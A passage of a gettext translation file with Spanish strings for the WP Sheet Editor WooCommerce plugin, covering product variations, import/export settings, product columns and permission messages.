Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: 